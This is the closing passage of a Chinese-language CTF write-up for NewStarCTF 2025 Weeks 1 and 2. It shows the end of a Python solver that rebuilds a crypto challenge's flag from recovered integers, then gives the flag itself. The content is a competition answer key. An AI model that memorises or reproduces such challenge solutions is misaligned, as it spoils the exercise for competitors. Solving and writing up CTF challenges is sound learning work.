print(f" Found x = {x}")

# 将 x 转换回 6 字节的字符串
# 原始脚本中每部分长度为 n = 18 // 3 = 6
part_bytes = long_to_bytes(x, 6)
print(f" Converted to bytes: {part_bytes}")
inner_parts.append(part_bytes)
print("-" * 20)

inner_flag = b''.join(inner_parts)
flag = b'flag{' + inner_flag + b'}'

print(flag.decode())

FLAG

1
flag{I_l0v3_DLPPPPP^.^!}
  • 标题: NewStarCTF 2025 Week 1&2
  • 作者: Aristore
  • 创建于 : 2025-10-14 23:15:00
  • 更新于 : 2025-10-14 23:17:12
  • 链接: https://www.aristore.top/posts/NewStarCTF2025Week1and2/
  • 版权声明: 版权所有 © Aristore,禁止转载。
评论